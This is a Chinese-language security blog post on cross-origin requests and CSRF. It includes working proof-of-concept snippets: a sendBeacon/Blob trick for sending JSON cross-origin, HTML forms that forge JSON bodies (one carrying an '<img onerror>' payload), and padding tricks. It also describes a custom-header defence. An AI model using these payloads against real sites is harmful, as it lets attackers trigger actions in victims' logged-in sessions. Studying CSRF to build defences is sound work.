使用javascript跨域请求与CSRF

0x00 背景

同事在做CSRF的时候发现的。这里总结一下。

0x01 跨域的Simple Request

<script
  src="https://code.jquery.com/jquery-2.2.4.min.js"
  integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="
  crossorigin="anonymous"></script>

<script>
$.ajax({
  type: "POST",
  url: "https://www.nevermoe.com",
  data: "{hello}",
  //contentType:"application/json; charset=utf-8",
  //dataType:"json",
  success: function(){
    alert('success')
    },
});
</script>

如果你使用上面这个script来post一个跨域的request到www.nevermoe.com,然后使用burp来查看浏览器的流量,你会发现,这个request虽然是跨域的,但是它确实被POST出去了,而且也得到了response。

但是在浏览器端,浏览器却不会将返回的数据进行渲染,因为浏览器发现response里并没有’Access-Control-Allow-Origin’,所有浏览器默认会拒绝显示跨域请求。

虽然如此,但是显然我们的POST请求显然已经成功了,也就是说,如果用在csrf上已经足够了。

0x02 跨域的 Non-Simple Request -- 失败版

但是这里有个问题,刚刚的脚本我们发出去的request的Content-Type是’application/x-www-form-urlencoded; charset=UTF-8’、这种简单的(Simple)javascript的request(包括’text/plain’)会被浏览器直接发送出去,但如果我们想发送json格式的跨域请求,其实是做不到的。可以把刚刚上面那段脚本的注释去掉试试,发现burp捕捉到的流量是这样的:

这不是一个POST请求,而是一个OPTIONS请求。这个是被浏览器替换掉掉请求。这个请求有个学名,叫做pre-flight request,是浏览器用来确认服务器的CORS设置的,当发出这个请求后,发现服务器的response里没有’Access-Control-Allow-Origin’ Header,则浏览器不会把真正的POST request发出去。在chrome控制台里你会看到这样的错误:

如此一来用javascript POST json格式似乎就不可能了。

0x03 跨域的 Non-Simple Request -- 成功版

这是同事发现的方法:在chrome下,用navigator.sendBeacon配合Blob可以跨域发送json的request。代码如下:

<script>
function jsonreq() {
var blob= new Blob([JSON.stringify({"hello":"world"})], {type : 'application/json; charset=UTF-8'}); // the blob
navigator.sendBeacon('https://www.nevermoe.com', blob )
}
jsonreq();
</script>

在chrome上这段代码不会发送pre-flight request,所以完全可以成功POST。如下:

注意,firefox上并不能成功,所以这是chrome的一个security bug,该bug从2015年开始被报告,但至今仍未fix。
(注:最新chrome已修复该bug,2017/09/01.)

0x05 扩展:防御CSRF

注意到,如果javascript想要发送一个Non-simple的request,那么一定会出发浏览器的pre-flight request,我们可以利用这一点来防止CSRF,比如使用json格式而非text/plain格式。但是在上面的chrome的bug中,即使使用json也是有危险的,我们可以使用强制发送自定request的header来防御CSRF:如果服务器收到的请求中没有自定义header(如X-Requested-With),则不处理该请求。如此一来,如果想要实现跨域javascript的请求,就必须写出如下js:

$.ajax({
  type: "POST",
  url: "https://www.nevermoe.com",
  data: "{hello}",
  headers: {'X-Requested-With': 'XMLHttpRequest'},
  //contentType:"application/json; charset=utf-8",
  //contentType:"text/plain",
  //dataType:"json", 
  success: function(){
    alert('success')
    },
});

但是该js发送的请求是Non-simple的,浏览器看到这样的跨域请求会首先进行pre-flight请求,确定服务器是否允许跨域添加header。这时显然无法bypass CORS。

这种实现方式有个明显的好处,就是是stateless的,程序员不需要花额外的精力维护csrf_token之类的东西,实现起来较为简单。

参考:独自ヘッダをチェックするだけのステートレスなCSRF対策は有効なのか?

0x06 注意

如果想要令jquery的ajax同时发送cookie,必须像这样使用”withCredentials”:

$.ajax({
   url: a_cross_domain_url,
   xhrFields: {
      withCredentials: true
   }
});

并且用户的浏览器没有禁止第三方cookie,且服务器没有禁止WithCredentials。

在android的webview上,第三方cookie的是否允许的设置是这样的:
“Apps that target KITKAT or below default to allowing third party cookies. Apps targeting LOLLIPOP or later default to disallowing third party cookies.”
也就是说在高版本的android webview中,即使withCredentials为true,默认也是无法用javascript发送带cookie的跨域请求的。

0x07 更新 2017.05.17

使用html form生成json数据

使用如下的方法可以生成一个Content-Typetext/plain的请求,且body部分是一个类似json的parameter(最后多了一个=号)。

<html>
    <form action="https://example.com" method="post" enctype="text/plain">
        <input name='{"greeting_message":["<img src=x onerror=alert(1)>"]}' value="">
        <input type="submit">
    </form>
</html>


如果服务器端没有判断只接受Content-Type为application/json的请求,且接受=号结尾的json格式,这样的csrf仍能够成立。

padding

如果你对多出来的等号不满意,可以构造如下html:

<html>  
<form action=http://192.168.1.41:3000 method=post enctype="text/plain" >  
<input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>  
<input type=submit>  
</form>  
</html>  

具体参见这篇文章:http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html

0x08 更新 2017.09.12

其实如果你想把Content-Type设置为application/json,还是有办法的,可以使用flash+307 redirect来实现。具体参照这个网站:
https://woto.kim/json_csrf
你可以通过反编译的他的flash文件来自己分析一下。